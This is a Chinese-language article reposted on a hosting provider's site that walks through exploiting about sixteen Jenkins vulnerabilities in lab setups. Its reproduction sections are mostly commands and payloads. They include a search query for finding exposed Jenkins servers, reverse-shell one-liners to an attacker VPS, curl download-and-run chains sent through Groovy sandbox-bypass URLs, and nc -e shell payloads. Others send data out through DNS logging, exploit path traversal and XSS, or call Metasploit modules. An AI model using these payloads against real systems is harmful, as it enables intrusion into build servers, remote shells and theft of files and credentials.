溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

Jenkins漏洞的示例分析

發(fā)布時(shí)間:2021-12-22 16:38:12 來(lái)源:億速云 閱讀:1062 作者:小新 欄目:網(wǎng)絡(luò)管理

這篇文章主要介紹了Jenkins漏洞的示例分析,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

1、簡(jiǎn)介

Jenkins 是基于 Java 開(kāi)發(fā)的開(kāi)源軟件項(xiàng)目,主要用于 CI (持續(xù)集成)、項(xiàng)目管理等。
Jenkins功能包括:

持續(xù)的軟件版本發(fā)布/測(cè)試項(xiàng)目。

監(jiān)控外部調(diào)用執(zhí)行的工作。

2、服務(wù)探測(cè)與發(fā)現(xiàn)

fofa: app="Jenkins" 

3、CVE-2017-1000353 Jenkins-CI遠(yuǎn)程代碼執(zhí)行

3.1、漏洞描述

Jenkins未授權(quán)遠(yuǎn)程代碼執(zhí)行漏洞, 允許攻擊者將序列化的Java SignedObject對(duì)象傳輸給Jenkins CLI處理,反序列化ObjectInputStream作為Command對(duì)象,這將繞過(guò)基于黑名單的保護(hù)機(jī)制, 導(dǎo)致代碼執(zhí)行。

3.2、影響版本

所有Jenkins主版本均受到影響(包括<=2.56版本) 
所有Jenkins LTS均受到影響(包括<=2.46.1版本)

3.3、漏洞利?

使用Vulhub一鍵搭建漏洞測(cè)試靶場(chǎng)。
Jenkins漏洞的示例分析訪問(wèn)服務(wù)器ip地址加端口,如http://ip:8080/
打開(kāi)瀏覽器發(fā)現(xiàn)環(huán)境啟動(dòng)成功如下:
Jenkins漏洞的示例分析
漏洞復(fù)現(xiàn)
步驟一、生成序列化字符串
首先下載CVE-2017-1000353-1.1-SNAPSHOT-all.jar,這是生成POC的工具。
下載地址:https://github.com/vulhub/CVE-2017-1000353
然后執(zhí)行下面命令,生成字節(jié)碼文件:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

執(zhí)行上述代碼后,生成jenkins_poc.ser文件,這就是序列化字符串。
Jenkins漏洞的示例分析步驟二、發(fā)送數(shù)據(jù)包,執(zhí)行命令

exp地址:https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py

下載exploit.py,然后使用python3執(zhí)行python exploit.py http://your-ip:8080 jenkins_poc.ser,將剛才生成的字節(jié)碼文件發(fā)送給目標(biāo):
Jenkins漏洞的示例分析進(jìn)入docker,發(fā)現(xiàn)/tmp/success成功被創(chuàng)建,說(shuō)明命令執(zhí)行漏洞利用成功:
Jenkins漏洞的示例分析也可以反彈bash命令:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "/bin/bash -i > /dev/tcp/vps_ip/12345 0<&1 2>&1 "

Jenkins漏洞的示例分析

4、CVE-2018-1000861 Jenkins遠(yuǎn)程代碼執(zhí)行

4.1、漏洞描述

Jenkins使用Stapler框架開(kāi)發(fā),其允許用戶(hù)通過(guò)URL PATH來(lái)調(diào)用一次public方法。由于這個(gè)過(guò)程沒(méi)有做限制,攻擊者可以構(gòu)造一些特殊的PATH來(lái)執(zhí)行一些敏感的Java方法。

4.2、影響版本

Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1

4.3、漏洞利?

使用Vulhub一鍵搭建漏洞測(cè)試靶場(chǎng)。
因?yàn)榇寺┒词菦](méi)有回顯的,所以選擇了curl和直接反彈shell進(jìn)行測(cè)試。
一、自定義發(fā)送請(qǐng)求,測(cè)試漏洞是否存在:

http://目標(biāo)ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}

Jenkins漏洞的示例分析頁(yè)面返回空白,響應(yīng)如下:
Jenkins漏洞的示例分析二、利用下載文件的方法來(lái)反彈shell
1、首先創(chuàng)建文本內(nèi)容如下,ip和端口填寫(xiě)我們接收shell的機(jī)器的ip和端口

bash -i >& /dev/tcp/x.x.x.x/9999 0>&1

2、將文本放置在開(kāi)啟http服務(wù)的vps上,替換POC中執(zhí)行命令的部分為下載文件的命令

curl -o /tmp/1.sh http://x.x.x.x/1.txt

3、替換后的POC:

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://x.x.x.x/1.txt%22.execute()}}

4、給予下載的腳本執(zhí)行權(quán)限:

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}

5、依次在瀏覽器打開(kāi)上述步驟3和4的poc,然后在我們接收shell的機(jī)器上監(jiān)聽(tīng)之前寫(xiě)的端口:

nc -lvvp 9999

6、直接bash執(zhí)行我們下載的腳本

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}

7、發(fā)現(xiàn)已經(jīng)成功獲取到了目標(biāo)機(jī)shell
Jenkins漏洞的示例分析三、也可以使用一鍵化POC腳本利用工具:

下載地址: https://github.com/orangetw/awesome-jenkins-rce-2019

Jenkins漏洞的示例分析

5、CVE-2019-1003000 Jenkins遠(yuǎn)程代碼執(zhí)行

5.1、漏洞描述

該漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及Script Security Plugin 1.50之前的版本。該漏洞通過(guò)將AST轉(zhuǎn)換注釋?zhuān)ㄈ鏎Grab)應(yīng)用于源代碼元素,可以在腳本編譯階段避免腳本安全沙箱保護(hù)。所以會(huì)造成具有“Overall/Read”權(quán)限的用戶(hù)或能夠控制SCM中的Jenkinsfile或者sandboxed Pipeline共享庫(kù)內(nèi)容的用戶(hù)可以繞過(guò)沙盒保護(hù)并在Jenkins主服務(wù)器上執(zhí)行任意代碼。

5.2、影響版本

Declarative Plugin < 1.3.4.1
Groovy Plugin < 2.61.1
Script Security Plugin < 1.50

5.3、漏洞利?

下載環(huán)境和利用代碼:

git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
cd cve-2019-1003000-jenkins-rce-poc
pipinstall -r requirements.txt
cd sample-vuln
./run.sh

測(cè)試發(fā)現(xiàn)無(wú)法啟動(dòng)成功,因?yàn)楸镜氐?code>jenkinsdata文件夾是root權(quán)限,而jenkins的權(quán)限很小,uid等信息都是1000,所以修改jenkinsdata的權(quán)限并刪除之前的容器再次運(yùn)行腳本,即可啟動(dòng)環(huán)境。

sudo chown -R 1000:1000 jenkinsdata/

Jenkins漏洞的示例分析然后進(jìn)入到docker容器中,并沒(méi)有發(fā)現(xiàn)初始化密碼的文件secrets/initialAdminPassword的存在:
Jenkins漏洞的示例分析使用user1/user1進(jìn)行登錄,并發(fā)現(xiàn)已有的job任務(wù)my-pipeline已經(jīng)被創(chuàng)建好
Jenkins漏洞的示例分析使用poc進(jìn)行漏洞攻擊

python2 exploit.py --url http://目標(biāo)ip:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"

Jenkins漏洞的示例分析反彈shell:

python2 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/X.X.X.X/12345 0>&1"

Jenkins漏洞的示例分析Jenkins漏洞的示例分析?

6、CVE-2015-8103 Jenkins遠(yuǎn)程代碼執(zhí)行

6.1、漏洞描述

1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系統(tǒng),允許遠(yuǎn)程攻擊者通過(guò)制作的序列化Java對(duì)象執(zhí)行有問(wèn)題的commons-collections。

6.2、影響版本

Jenkins jenkins<= LTS 1.625.1
Jenkins jenkins<= 1.637

6.3、漏洞利?

靶場(chǎng)環(huán)境: https://github.com/Medicean/VulApps/tree/master/j/jenkins/1

1、拉取鏡像到本地并啟動(dòng)

$ docker pull medicean/vulapps:j_jenkins_1
$ docker run -d -p 8080:8080 -p 50000:50000 medicean/vulapps:j_jenkins_1

其中8080為Jenkins web管理端口,50000為Jenkins SLAVE AGENT端口
訪問(wèn) http://IP地址:8080/,看到Jenkins Web管理界面即代表啟動(dòng)成功
2、POC利用

$ python2 poc.py http://127.0.0.1:8080/

如果看到如下結(jié)果則表示存在該漏洞:
Jenkins漏洞的示例分析由于該命令執(zhí)行無(wú)回顯,使用的是DNSLog的方式來(lái)將無(wú)回顯的命令執(zhí)行轉(zhuǎn)為有回顯,可能會(huì)因?yàn)榫W(wǎng)絡(luò)訪問(wèn)問(wèn)題造成誤漏報(bào)。

7、CVE-2016-0788 Jenkins CI和LTS遠(yuǎn)程代碼執(zhí)行

7.1、漏洞描述

LTS(Long-TermSupport)CloudBeesJenkins的一個(gè)長(zhǎng)期支持版本。CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模塊中存在安全漏洞。遠(yuǎn)程攻擊者可通過(guò)打開(kāi)JRMP監(jiān)聽(tīng)程序利用該漏洞執(zhí)行任意代碼。

7.2、影響版本

Jenkins CI Jenkins 1.409.3 
Jenkins CI Jenkins 1.454 
Jenkins CI Jenkins 1.452 
Jenkins CI Jenkins 1.451 
Jenkins CI Jenkins 1.447 
Jenkins CI Jenkins 1.446 

7.3、漏洞利?

首先下載ysoserial編譯后生成二進(jìn)制文件
下載地址:https://github.com/frohoff/ysoserial

java -jar ysoserial.jar CommonsCollections3 "curl http://uxplno.ceye.io/ttaallee" > payload.bin

然后利用腳本發(fā)送二進(jìn)制文件(實(shí)際上是十六進(jìn)制的(<JENKINS REMOTING CAPACITY]>)與其后base64的編碼構(gòu)成):

poc腳本 https://github.com/foxglovesec/JavaUnserializeExploits

運(yùn)行poc腳本:

python2 jenkins.py x.x.x.x 8080  payload.bin

Jenkins漏洞的示例分析可以看到運(yùn)行POC后,ceye后臺(tái)已經(jīng)有了目標(biāo)主機(jī)的訪問(wèn)記錄。證明該命令已經(jīng)在遠(yuǎn)程主機(jī)被執(zhí)行了。
Jenkins漏洞的示例分析

8、CVE-2016-0792 Jenkins XStream反序列化

8.1、漏洞描述

國(guó)外網(wǎng)站Contrast Security于2016年2月24日在公開(kāi)了Jenkins近日修復(fù)的一個(gè)可通過(guò)低權(quán)限用戶(hù)調(diào)用API服務(wù)致使的命令執(zhí)行漏洞詳情。通過(guò)低權(quán)限用戶(hù)構(gòu)造一個(gè)惡意的XML文檔發(fā)送至服務(wù)端接口,使服務(wù)端解析時(shí)調(diào)用API執(zhí)行外部命令。

8.2、影響版本

jenkins版本小于1.650(1.650版本已修復(fù)該問(wèn)題)

8.3、漏洞利?

漏洞利用腳本:

https://github.com/jpiechowka/jenkins-cve-2016-0792

Jenkins漏洞的示例分析漏洞利用驗(yàn)證成功如下:
Jenkins漏洞的示例分析也可以使用如下payload反彈目標(biāo)機(jī)shell

exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')

Jenkins漏洞的示例分析

9、CVE-2019-1003005 Jenkins遠(yuǎn)程代碼執(zhí)行

9.1、漏洞描述

Jenkins腳本安全插件1.50及更早版本的src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java中存在一個(gè)沙盒繞過(guò)漏洞,它允許具有“整體/讀取”權(quán)限的攻擊者為其提供Groovy腳本HTTP端點(diǎn),可導(dǎo)致Jenkins主JVM上的任意代碼執(zhí)行。

9.2、影響版本

Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 啟用匿名讀取
Jenkins 2.152 啟用匿名讀取
Jenkins 2.153 啟用匿名讀取
Script Security Plugin 1.43
Script Security Plugin 1.48

9.3、漏洞利?

使用一鍵化POC腳本利用工具:

下載地址: https://github.com/orangetw/awesome-jenkins-rce-2019
python2 exp.py http://x.x.x.x:8080/ "curl http://uxplno.ceye.io/`whoami`"

Jenkins漏洞的示例分析

10、CVE-2019-10392 Jenkins 2k19認(rèn)證遠(yuǎn)程代碼執(zhí)行

10.1、漏洞描述

Git客戶(hù)端插件接受用戶(hù)指定的值作為git ls-remote調(diào)用的參數(shù),以驗(yàn)證指定URL處是否存在Git存儲(chǔ)庫(kù)。這種方式允許具有Job/Configure權(quán)限的攻擊者,以運(yùn)行Jenkins進(jìn)程的OS用戶(hù)的權(quán)限在Jenkins主服務(wù)器上執(zhí)行任意系統(tǒng)命令。當(dāng)以root權(quán)限運(yùn)行Jenkins時(shí),攻擊者將會(huì)通過(guò)攻擊得到root權(quán)限。

10.2、影響版本

Git client Plugin <= 2.8.4

10.3、漏洞利?

使用docker搭建測(cè)試環(huán)境

docker search jenkins
docker pull jenkins/jenkins
# 映射8080端口
docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins
# 訪問(wèn)IP:8080后需要輸入密碼 進(jìn)入容器獲取密碼
docker exec -it 2192a3dc98c0 /bin/bash
jenkins@2192a3dc98c0:/$ cat /var/jenkins_home/secrets/initialAdminPassword

創(chuàng)建一個(gè)非管理員用戶(hù)并在Configure Global Security里給予如圖權(quán)限
Jenkins漏洞的示例分析下載漏洞版本插件

http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi
http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi

登錄創(chuàng)建的非管理用戶(hù) 創(chuàng)建一個(gè)流水線任務(wù),在連接git倉(cāng)庫(kù)處輸入payload

 --upload-pack="`ls`"

Jenkins漏洞的示例分析實(shí)際上是一個(gè)比較雞肋的洞,服務(wù)器上必須要低版本插件,并且配合弱口令或者未授權(quán)才能進(jìn)入后臺(tái)利用。
而且后臺(tái)有個(gè)地方能直接執(zhí)行命令,在http://ip:port/script下面有腳本命令行,屬于Jenkins正常功能,利用這個(gè)功能可以執(zhí)行系統(tǒng)命令,配合未授權(quán)更方便。

11、CVE-2016-9299 Jenkins CLI Ldap Deser

11.1、漏洞描述

2.32之前的Jenkins和2.19.3之前的LTS中的遠(yuǎn)程處理模塊允許遠(yuǎn)程攻擊者通過(guò)精心制作的序列化Java對(duì)象執(zhí)行任意代碼,從而觸發(fā)對(duì)第三方服務(wù)器的LDAP查詢(xún)。

11.2、影響版本

LTSRelease 2.19.3 之前的所有版本
WeeklyRelease 2.32 之前的所有版本

11.3、漏洞利?

msf利用模塊

https://github.com/rapid7/metasploit-framework/pull/7815

漏洞復(fù)現(xiàn)

  1. 下載 jenkins 2.31(https://updates.jenkins-ci.org/download/war/2.31/jenkins.war)

  2. 安裝 jenkins java -jar jenkins.war

  3. 啟動(dòng) msfconsole

  4. 使用 exploit/linux/misc/jenkins_ldap_deserialize

  5. 設(shè)置 RHOST 127.0.0.1

  6. 設(shè)置PAYLOAD cmd/unix/generic

  7. 設(shè)置 CMD 'touch/tmp/wtf'

  8. 運(yùn)行

msf > use exploit/linux/misc/jenkins_ldap_deserialize
msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
CMD => touch /tmp/wtf
msf exploit(jenkins_ldap_deserialize) > run
[*] Exploit completed, but no session was created.

利用成功后將會(huì)在tmp文件夾下創(chuàng)建wtf文件

12、Jenkins功能未授權(quán)訪問(wèn)導(dǎo)致的遠(yuǎn)程命令執(zhí)行

12.1、漏洞描述

Jenkins管理登陸之后,后臺(tái)”系統(tǒng)管理”功能,有個(gè)”腳本命令行的”功能,它的作用是執(zhí)行用于管理或故障探測(cè)或診斷的任意腳本命令,利用該功能,可以執(zhí)行系統(tǒng)命令,該功能實(shí)際上Jenkins正常的功能,由于很多管理賬號(hào)使用了弱口令,或者管理后臺(tái)存在未授權(quán)訪問(wèn),導(dǎo)致該功能會(huì)對(duì)Jenkins系統(tǒng)服務(wù)器產(chǎn)生比較嚴(yán)重的影響和危害。

12.2、影響版本

屬于Jenkins正常的功能

12.3、漏洞利?

找到“系統(tǒng)管理”——“腳本命令行”。
Jenkins漏洞的示例分析在腳本命令行中輸入下面的語(yǔ)句,即可執(zhí)行相應(yīng)的命令:

println "whoami".execute().text

Jenkins漏洞的示例分析

13、CVE-2019-10475 插件反射型XSS

13.1、漏洞描述

build-metrics該插件會(huì)生成一些基本的構(gòu)建指標(biāo),它通常與Jenkins側(cè)邊欄鏈接插件一起使用。該插件提供了該報(bào)告機(jī)制,所有的用戶(hù)都可以轉(zhuǎn)到Jenkins主儀表板并根據(jù)需要提取報(bào)告。 漏洞存在build-metrics插件中, 但是只是一個(gè)簡(jiǎn)單的反射型XSS漏洞,該插件無(wú)法正確轉(zhuǎn)義標(biāo)簽查詢(xún)參數(shù)。

13.2、影響版本

360 FireLine插件,最高包括1.7.2
Bitbucket OAuth插件,最高包括0.9
Build-metrics插件 1.3及以下
部署WebLogic Plugin 最高至4.1
Dynatrace應(yīng)用程序監(jiān)視插件,最高包括2.1.3
Dynatrace應(yīng)用程序監(jiān)視插件,最高包括2.1.4
ElasticBox Jenkins Kubernetes CI / CD插件,最高至1.3
包含1.1.4及以下版本的 全局Post Script插件
Libvirt Slaves插件,最高包括1.8.5
截至 2.7.0的 Mattermost Notification插件
Sonar Gerrit插件,最高包括2.3
Zulip插件(包括1.1.0及以下)

13.3、漏洞利?

vulnearble插件位于http://localhost:8080/plugin/build-metrics/,漏洞參數(shù)為label。
payload如下:

http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=<script>alert("CVE-2019-10475")</script>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search

14、CVE-2018-1000110 用戶(hù)枚舉

14.1、漏洞描述

Git Plugin是使用在其中的一個(gè)版本控制插件。CloudBees Jenkins Git Plugin 3.7.0及之前版本中的GitStatus.java文件存在安全漏洞。攻擊者可利用該漏洞獲取節(jié)點(diǎn)和用戶(hù)列表。

14.2、影響版本

CloudBees Jenkins Git Plugin 3.7.0及之前版本 

14.3、漏洞利?

模糊搜索

http://x.x.x.x:8080/search/?q=a
http://x.x.x.x:8080/search/suggest?query=a

Jenkins漏洞的示例分析如果git插件小于3.7,也可以使用如下

http://x.x.x.x:8080/git/search/?q=a
http://x.x.x.x:8080/git/search/suggest?query=a

15、CVE-2019-10352 路徑遍歷任意文件寫(xiě)入

15.1、漏洞描述

CloudBees Jenkins(Hudson Labs)是美國(guó)CloudBees公司的一套基于Java開(kāi)發(fā)的持續(xù)集成工具。該產(chǎn)品主要用于監(jiān)控持續(xù)的軟件版本發(fā)布/測(cè)試項(xiàng)目和一些定時(shí)執(zhí)行的任務(wù)。LTS是CloudBeesJenkins的一個(gè)長(zhǎng)期支持版本。CloudBees Jenkins 2.185及之前版本、LTS 2.176.1及之前版本中的core/src/main/java/hudson/model/FileParameterValue.java文件存在路徑遍歷漏洞。該漏洞源于網(wǎng)絡(luò)系統(tǒng)或產(chǎn)品未能正確地過(guò)濾資源或文件路徑中的特殊元素。攻擊者可利用該漏洞訪問(wèn)受限目錄之外的位置。

15.2、影響版本

Jenkins-Ci Jenkins LTS 2.176.2 Jenkins Jenkins 2.186

15.3、漏洞利?

首先選擇”構(gòu)建一個(gè)自由風(fēng)格的軟件項(xiàng)目“并將其命名為test,然后使用受限制的用戶(hù),在配置中選擇文件參數(shù)
Jenkins漏洞的示例分析選擇Build with Parameters然后構(gòu)建選擇上傳圖片文件。
Jenkins漏洞的示例分析選擇開(kāi)始構(gòu)建就可以將文件寫(xiě)入運(yùn)行有寫(xiě)入權(quán)限的Jenkins的用戶(hù)的文件系統(tǒng)上的任何位置。

16、CVE-2019-10300 GitLab插件跨站請(qǐng)求偽造

16.1、漏洞描述

GitLab Plugin是使用在其中的一個(gè)構(gòu)建觸發(fā)器,它允許GitLab在推送代碼或創(chuàng)建合并請(qǐng)求時(shí)觸發(fā)Jenkins構(gòu)建。 CloudBees Jenkins GitLab Plugin 1.5.11及之前版本中的GitLabConnectionConfig#doTestConnection表單驗(yàn)證方法存在跨站請(qǐng)求偽造漏洞,該漏洞源于WEB應(yīng)用未充分驗(yàn)證請(qǐng)求是否來(lái)自可信用戶(hù)。攻擊者可利用該漏洞通過(guò)受影響客戶(hù)端向服務(wù)器發(fā)送非預(yù)期的請(qǐng)求。

16.2、影響版本

Jenkins GitLab插件1.5.11

16.3、漏洞利?

Jenkins 2.165實(shí)例的攻擊示例。
需要下載插件:

https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/gitlab-plugin/1.5.11/gitlab-plugin.hpi

該實(shí)例運(yùn)行此插件的漏洞版本并配置為允許匿名讀取訪問(wèn)。

$ curl -s -X GET -G \
    -d 'url=http://127.0.0.1:7000/?' \
    -d 'clientBuilderId=autodetect' \
    -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'

插件以HTTP GET形式向遠(yuǎn)程服務(wù)器提交的請(qǐng)求將類(lèi)似于以下內(nèi)容:

# First request from Jenkins (GET).
/api/v4/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive

# Second request from Jenkins (GET)
/api/v3/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive

17、CVE-2018-1999002 任意文件讀取

17.1、漏洞描述

在Jenkins的Stapler Web框架中存在任意文件讀取漏洞。惡意攻擊者可以通過(guò)發(fā)送精心構(gòu)造的HTTP請(qǐng)求在未經(jīng)授權(quán)的情況下獲取Jenkin主進(jìn)程可以訪問(wèn)的Jenkins文件系統(tǒng)中的任意文件內(nèi)容。

17.2、影響版本

Jenkins weekly 2.132及此前所有版本
Jenkins LTS 2.121.1及此前所有版本

17.3、漏洞利?

可讀取Windows系統(tǒng)服務(wù)器中的任意文件,且在特定而條件下也可以讀取Linux系統(tǒng)服務(wù)器中的文件。
請(qǐng)求的url為/plugin/credentials/.ini,則base為空,擴(kuò)展名(ext變量)即為.ini,然后通過(guò)一系列的嘗試openURL,在此例中即最后一個(gè)情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));,會(huì)去請(qǐng)求_../../../../../../../../../../../../windows/win.ini ,盡管目錄_..并不存在,但在win下可以直接通過(guò)路徑穿越來(lái)繞過(guò)。
Jenkins漏洞的示例分析在沒(méi)有登陸(未授權(quán))的情況下,只有當(dāng)管理員開(kāi)啟了allow anonymous read access的時(shí)候,才能實(shí)現(xiàn)任意文件讀取,否則仍需登陸
Jenkins漏洞的示例分析
Windows下payload:

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh28wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close

也可以利用該漏洞poc檢測(cè)工具,進(jìn)行檢測(cè)以及對(duì)賬戶(hù)密碼進(jìn)行解密:

https://github.com/anntsmart/CVE/blob/master/cve-2018-1999002.py

18、CVE-2019-1003029 Script Security Plugin沙箱繞過(guò)

此漏洞和CVE-2019-1003005漏洞同樣都是由Script Security插件引起。利用方式和上一致。影響版本在1.55以下。

感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“Jenkins漏洞的示例分析”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI